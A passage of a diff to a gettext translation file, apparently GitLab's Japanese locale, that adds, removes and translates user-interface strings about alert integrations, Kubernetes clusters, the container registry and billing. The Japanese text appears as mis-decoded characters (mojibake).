+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2632,6 +2762,9 @@ msgstr "パイプラインã«åŠ ãˆã€ãƒ­ã‚°ã‚„アーティファクトãªã©ã®
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr "Asciidocドキュメントã§ã®PlantUML図ã®ãƒ¬ãƒ³ãƒ€ãƒªãƒ³ã‚°ã‚’許å¯ã—ã¾ã™ã€‚"
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr "プロジェクトメンテナーã«ãƒªãƒã‚¸ãƒˆãƒªãƒŸãƒ©ãƒ¼ãƒªãƒ³ã‚°ã®è¨­å®šã‚’許å¯ã™ã‚‹"
@@ -2749,9 +2882,6 @@ msgstr ""
msgid "An error has occurred"
msgstr "エラーãŒç™ºç”Ÿã—ã¾ã—ãŸ"
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2872,9 +3002,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr "サービスデスクアドレスã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "ボードリストã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
@@ -2908,18 +3035,21 @@ msgstr "ã“ã®ã‚¿ãƒ–ã®ãƒ•ã‚§ãƒƒãƒä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
msgid "An error occurred while generating a username. Please try again."
msgstr "ユーザーåã®ç”Ÿæˆä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr "%{branchId} ã®ãƒ•ã‚¡ã‚¤ãƒ«ã‚’å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
msgid "An error occurred while getting projects"
msgstr "プロジェクトã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
-msgid "An error occurred while importing project: %{details}"
-msgstr "プロジェクトã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ:%{details}"
-
msgid "An error occurred while initializing path locks"
msgstr "パスロックã®åˆæœŸåŒ–中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
+msgid "An error occurred while loading a section of this page."
+msgstr ""
+
msgid "An error occurred while loading all the files."
msgstr "ã™ã¹ã¦ã®ãƒ•ã‚¡ã‚¤ãƒ«ã®èª­è¾¼ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -2974,6 +3104,9 @@ msgstr "マージリクエストã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³æƒ…報を読込中ã«ã‚¨ãƒ©ãƒ¼
msgid "An error occurred while loading the merge request."
msgstr "マージリクエストã®ãƒ­ãƒ¼ãƒ‰ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr "パイプラインジョブã®ãƒ­ãƒ¼ãƒ‰ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -3001,9 +3134,6 @@ msgstr "プレビュー時ã®ãƒ–ロードキャストメッセージをレンダ
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr "課題ã®ä¸¦ã¹æ›¿ãˆä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -3034,6 +3164,9 @@ msgstr "通知ã®è³¼èª­ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
msgid "An error occurred while triggering the job."
msgstr "ジョブã®ãƒˆãƒªã‚¬ãƒ¼ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã®ãŸã‚ã«æ–°ã—ã„パイプラインを実行ã—よã†ã¨ã—ã¦ã„ã‚‹é–“ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -3052,6 +3185,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr "コメントを更新中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr "グループパスã®æ¤œè¨¼ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
@@ -3068,13 +3204,13 @@ msgid "An error ocurred while loading your content. Please try again."
msgstr "コンテンツã®èª­ã¿è¾¼ã¿ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
msgid "An example project for managing Kubernetes clusters integrated with GitLab."
-msgstr ""
+msgstr "GitLab ã¨çµ±åˆã•ã‚ŒãŸ Kubernetes クラスターを管ç†ã™ã‚‹ãŸã‚ã®ã‚µãƒ³ãƒ—ルプロジェクト。"
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
msgid "An instance-level serverless domain already exists."
-msgstr ""
+msgstr "インスタンスレベル㮠serverless ドメインã¯ã™ã§ã«å­˜åœ¨ã—ã¦ã„ã¾ã™ã€‚"
msgid "An issue already exists"
msgstr ""
@@ -3128,10 +3264,10 @@ msgid "Anonymous"
msgstr "匿å"
msgid "Another action is currently in progress"
-msgstr ""
+msgstr "別ã®ã‚¢ã‚¯ã‚·ãƒ§ãƒ³ã‚’æ—¢ã«å®Ÿè¡Œã—ã¦ã„ã¾ã™ã€‚"
msgid "Another issue tracker is already in use. Only one issue tracker service can be active at a time"
-msgstr ""
+msgstr "別ã®èª²é¡Œãƒˆãƒ©ãƒƒã‚«ãƒ¼ã‚’ã™ã§ã«ä½¿ç”¨ã—ã¦ã„ã¾ã™ã€‚一度ã«ã‚¢ã‚¯ãƒ†ã‚£ãƒ–ã«ã§ãる課題トラッカーサービスã¯1ã¤ã ã‘ã§ã™"
msgid "Anti-spam verification"
msgstr "スパム対策ã®æ¤œè¨¼"
@@ -3238,6 +3374,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr "æ案をé©ç”¨"
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3296,6 +3438,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] "%{membersCount} åã®ã†ã¡ %{count} åã‹ã‚‰ã®æ‰¿èªãŒå¿…è¦"
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr "承èªè€…"
@@ -3377,6 +3522,9 @@ msgstr ""
msgid "Archived"
msgstr "アーカイブ済ã¿"
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3428,9 +3576,6 @@ msgstr "本当ã«ã“ã®ãƒœãƒ¼ãƒ‰ã‚’削除ã—ã¾ã™ã‹?"
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "本当ã«ã€ã“ã®ãƒ‡ãƒã‚¤ã‚¹ã‚’削除ã—ã¦ã‚‚よã‚ã—ã„ã§ã™ã‹? ã“ã®æ“作ã¯å…ƒã«æˆ»ã™ã“ã¨ãŒã§ãã¾ã›ã‚“。"
-msgid "Are you sure you want to delete this list?"
-msgstr "本当ã«ã“ã®ãƒªã‚¹ãƒˆã‚’消去ã—ã¦ã‚‚よã‚ã—ã„ã§ã™ã‹?"
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "ã“ã®ãƒ‘イプラインスケジュールを削除ã—ã¾ã™ã‹ï¼Ÿ"
@@ -3480,6 +3625,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr "ã“ã® ID を削除ã—ã¦ã‚‚よã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr "本当ã«ç™»éŒ²ãƒˆãƒ¼ã‚¯ãƒ³ã‚’リセットã—ã¾ã™ã‹ï¼Ÿ"
@@ -3752,6 +3900,12 @@ msgstr "èªè¨¼"
msgid "Authenticate with GitHub"
msgstr "GitHub ã§èªè¨¼ã—ã¾ã™"
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr "èªè¨¼ä¸­"
@@ -3872,6 +4026,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4160,12 +4317,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr "アップグレード"
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4190,6 +4353,10 @@ msgstr ""
msgid "Blocked"
msgstr "ブロック中"
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+
msgid "Blocked issue"
msgstr "ブロックã•ã‚ŒãŸèª²é¡Œ"
@@ -4241,6 +4408,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4499,9 +4669,6 @@ msgstr "追加ã®ãƒ‘イプライン時間(分)を購入ã™ã‚‹"
msgid "By %{user_name}"
msgstr "%{user_name} ã«ã‚ˆã‚‹"
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4529,6 +4696,9 @@ msgstr "CI / CD 設定"
msgid "CI Lint"
msgstr "CI Lint"
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4625,6 +4795,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4652,6 +4825,12 @@ msgstr "カナリア"
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr "カナリアデプロイã¯ã€ä¸€éƒ¨ã®ã‚¢ãƒ—リケーションãŒã‚ãªãŸã®ã‚¢ãƒ—リケーションã®æ–°ã—ã„ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã«æ›´æ–°ã•ã‚Œã‚‹ã€ã¨ã„ã†ä¸€èˆ¬çš„ãªCI戦略ã§ã™ã€‚"
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "キャンセル"
@@ -4685,9 +4864,6 @@ msgstr "ä¸æ­£åˆ©ç”¨ãƒ¬ãƒãƒ¼ãƒˆã‚’作æˆã§ãã¾ã›ã‚“。ã“ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr "複数ã®Jiraインãƒãƒ¼ãƒˆã‚’åŒæ™‚ã«å®Ÿè¡Œã§ãã¾ã›ã‚“"
@@ -4829,6 +5005,9 @@ msgstr "変更"
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4847,9 +5026,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr "インデックス㌠%{link_start} å†ç”Ÿæˆã•ã‚Œã‚‹ %{link_end}ã¾ã§å¤‰æ›´ã¯è¡Œã‚ã‚Œã¾ã›ã‚“。"
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr "リリースタグã®å¤‰æ›´ã¯ã€ãƒªãƒªãƒ¼ã‚¹APIを介ã—ã¦ã®ã¿ã‚µãƒãƒ¼ãƒˆã•ã‚Œã¾ã™ã€‚ %{linkStart} 詳細%{linkEnd}"
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -4916,6 +5092,9 @@ msgstr "å†ãƒã‚§ãƒƒã‚¯"
msgid "Check feature availability on namespace plan"
msgstr "åå‰ç©ºé–“ã®è¨ˆç”»ã§æ©Ÿèƒ½ãŒåˆ©ç”¨ã§ãã‚‹ã‹ãƒã‚§ãƒƒã‚¯ã™ã‚‹"
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "%{docs_link_start}ドキュメント%{docs_link_end}を確èª"
@@ -5102,12 +5281,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr "変更内容を確èªã—ãŸã‚Šãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’作æˆã™ã‚‹ãŸã‚ã«ã€Branch/tag (例: %{master}) ã‚’é¸æŠžã™ã‚‹ã‹ã€ã‚³ãƒŸãƒƒãƒˆID(例: %{sha})を入力ã—ã¦ãã ã•ã„。"
@@ -5141,6 +5314,9 @@ msgstr "ファイルをé¸æŠž..."
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "インãƒãƒ¼ãƒˆãƒªãƒã‚¸ãƒˆãƒªã®ãƒˆãƒƒãƒ—レベルã®ã‚°ãƒ«ãƒ¼ãƒ—ã‚’é¸æŠžã—ã¦ãã ã•ã„。"
@@ -5309,7 +5485,7 @@ msgstr "分類ラベル (オプション)"
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr "使用ã§ãã¾ã›ã‚“:%{reason}"
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5351,10 +5527,10 @@ msgstr "ウェイトをクリア"
msgid "Clears weight."
msgstr "ウェイトをクリアã—ã¾ã™ã€‚"
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5402,7 +5578,7 @@ msgstr "SSH ã§ã‚¯ãƒ­ãƒ¼ãƒ³"
msgid "Close"
msgstr "クローズã™ã‚‹"
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5411,9 +5587,6 @@ msgstr "%{tabname} ã‚’é–‰ã˜ã‚‹"
msgid "Close epic"
msgstr "エピックを閉ã˜ã‚‹"
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr "マイルストーンを閉ã˜ã‚‹"
@@ -5504,6 +5677,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} ã¯æ­£å¸¸ã« Kubernetes クラスターã«ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã•ã‚Œã¾ã—ãŸ"
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5612,6 +5788,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr "CA 証明書"
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr "Cert-Manager"
@@ -5870,9 +6049,6 @@ msgstr "グループクラスター"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr "Helm Tiller"
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -5975,6 +6151,9 @@ msgstr "グループ Kubernetes クラスターã®è©³ç´°"
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr "Kubernetes クラスタã®ã‚¤ãƒ³ã‚¹ã‚¿ãƒ³ã‚¹ã®è©³ç´°"
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr "IAMロールã®ãƒ­ãƒ¼ãƒ‰"
@@ -6096,7 +6275,7 @@ msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Po
msgstr ""
msgid "ClusterIntegration|Provider details"
-msgstr ""
+msgstr "プロãƒã‚¤ãƒ€ãƒ¼ã®è©³ç´°"
msgid "ClusterIntegration|Provision Role ARN"
msgstr "プロビジョニングロールARN"
@@ -6111,7 +6290,7 @@ msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernet
msgstr "çµ±åˆKubernetesクラスターã«ã¤ã„ã¦ã¯ã€%{link_start}ヘルプページ%{link_end}ã‚’ã”覧ãã ã•ã„。"
msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
+msgstr "リアルタイムWebアプリケーションã®ç›£è¦–ã€ãƒ­ã‚®ãƒ³ã‚°ã€ã‚¢ã‚¯ã‚»ã‚¹ã‚³ãƒ³ãƒˆãƒ­ãƒ¼ãƒ«ã€‚ %{linkStart} 詳細 %{linkEnd}"
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr "Kubernetes クラスターã®çµ±åˆã‚’削除"
@@ -6165,7 +6344,7 @@ msgid "ClusterIntegration|Search VPCs"
msgstr "VPCを検索"
msgid "ClusterIntegration|Search domains"
-msgstr ""
+msgstr "ドメインを検索"
msgid "ClusterIntegration|Search instance types"
msgstr "インスタンスタイプを検索"
@@ -6222,7 +6401,7 @@ msgid "ClusterIntegration|Select a zone to choose a network"
msgstr "ゾーンをé¸æŠžã—ã¦ãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯ã‚’é¸æŠž"
msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
+msgstr "既存ã®ãƒ‰ãƒ¡ã‚¤ãƒ³ã‹æ–°ã—ã„ドメインをé¸æŠžã—ã¦ãã ã•ã„"
msgid "ClusterIntegration|Select machine type"
msgstr "マシンタイプをé¸æŠž"
@@ -6279,7 +6458,7 @@ msgid "ClusterIntegration|Something went wrong while installing %{title}"
msgstr "%{title} ã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸ"
msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
+msgstr "設定ã®ä¿å­˜ä¸­ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
msgstr "%{title} ã®ã‚¢ãƒ³ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -6308,8 +6487,8 @@ msgstr "Kubernetes APIã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ã«ä½¿ç”¨ã•ã‚Œã‚‹URL。"
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
-msgstr "関連付ã‘られã¦ã„ã‚‹Tillerãƒãƒƒãƒ‰ã€ %{gitlabManagedAppsNamespace} åå‰ç©ºé–“ã€ãŠã‚ˆã³ãã®ã™ã¹ã¦ã®ãƒªã‚½ãƒ¼ã‚¹ã¯å‰Šé™¤ã•ã‚Œã¾ã™ã€‚復元ã¯ã§ãã¾ã›ã‚“。"
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
+msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
msgstr "関連ã™ã‚‹ãƒ­ãƒ¼ãƒ‰ãƒãƒ©ãƒ³ã‚µãƒ¼ã¨IPã¯å‰Šé™¤ã•ã‚Œã€å¾©å…ƒã§ãã¾ã›ã‚“。"
@@ -6324,7 +6503,7 @@ msgid "ClusterIntegration|The endpoint is in the process of being assigned. Plea
msgstr "ã“ã®ã‚¨ãƒ³ãƒ‰ãƒã‚¤ãƒ³ãƒˆã¯å‰²ã‚Šå½“ã¦ãƒ—ロセス実施中ã§ã™ã€‚ã‚‚ã—処ç†æ™‚é–“ãŒé•·ã„å ´åˆã€ã‚ãªãŸã®Kubernetesクラスタã¾ãŸã¯Google Kubernetes Engineã®ã‚¯ã‚©ãƒ¼ã‚¿ã‚’確èªã—ã¦ãã ã•ã„。"
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
-msgstr ""
+msgstr "プロジェクトã«é–¢é€£ä»˜ã‘ã—ãŸåå‰ç©ºé–“。ã“ã‚Œã¯ã€ãƒ‡ãƒ—ロイボードã€ãƒ­ã‚°ã€ãŠã‚ˆã³Web端末ã«ä½¿ç”¨ã—ã¾ã™ã€‚"
msgid "ClusterIntegration|The region the new cluster will be created in. You must reauthenticate to change regions."
msgstr ""
@@ -6390,7 +6569,7 @@ msgid "ClusterIntegration|Update failed. Please check the logs and try again."
msgstr "æ›´æ–°ã«å¤±æ•—ã—ã¾ã—ãŸã€‚ログを確èªã—ã¦ã‚‚ã†ä¸€åº¦è©¦ã—ã¦ãã ã•ã„。"
msgid "ClusterIntegration|Use %{query}"
-msgstr ""
+msgstr "%{query} を使用"
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr "ã“ã®ã‚¯ãƒ©ã‚¹ã‚¿ãƒ¼ã« Cloud Runã€Istioã€ãŠã‚ˆã³ HTTP Load Balancing アドオンを使用ã—ã¾ã™ã€‚"
@@ -6432,7 +6611,7 @@ msgid "ClusterIntegration|You must specify a domain before you can install Knati
msgstr ""
msgid "ClusterIntegration|You should select at least two subnets"
-msgstr ""
+msgstr "å°‘ãªãã¨ã‚‚2ã¤ã®ã‚µãƒ–ãƒãƒƒãƒˆã‚’é¸æŠžã—ã¦ãã ã•ã„。"
msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
msgstr ""
@@ -6507,7 +6686,7 @@ msgid "Code Owners"
msgstr "コードオーナー"
msgid "Code Owners to the merge request changes."
-msgstr ""
+msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã«å¯¾ã™ã‚‹ã‚³ãƒ¼ãƒ‰ã‚ªãƒ¼ãƒŠãƒ¼ã€‚"
msgid "Code Quality"
msgstr ""
@@ -6648,6 +6827,9 @@ msgstr "コミット(コミットメッセージã®ç·¨é›†æ™‚)"
msgid "Commit Message"
msgstr "コミットメッセージ"
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr "コミットを削除ã—ã¾ã—ãŸ"
@@ -6771,9 +6953,6 @@ msgstr "コンプライアンスダッシュボード"
msgid "Compliance framework (optional)"
msgstr "コンプライアンスフレームワーク(オプション)"
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -6945,6 +7124,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr "アップグレードã®å•ã„åˆã‚ã›"
@@ -6969,8 +7151,8 @@ msgstr "コンテナレジストリã¯ã€ã“ã® GitLab インスタンスã§æœ‰å
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
-msgstr "コンテナリãƒã‚¸ãƒˆãƒªã®åŒæœŸå®¹é‡"
+msgid "Container repositories synchronization concurrency limit"
+msgstr ""
msgid "Container repository"
msgstr ""
@@ -6995,6 +7177,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7070,6 +7255,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr "ログイン"
@@ -7079,6 +7273,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr "ä¿æŒã™ã‚‹ã‚¿ã‚°ã®æ•°:"
@@ -7101,8 +7304,17 @@ msgid "ContainerRegistry|Remove tag"
msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] "ã‚¿ã‚°ã®å‰Šé™¤"
-msgid "ContainerRegistry|Set cleanup policy"
-msgstr "クリーンアップãƒãƒªã‚·ãƒ¼ã®è¨­å®š"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
+msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
msgstr ""
@@ -7110,6 +7322,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr "クリーンアップãƒãƒªã‚·ãƒ¼ã®å–得中ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7131,21 +7346,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
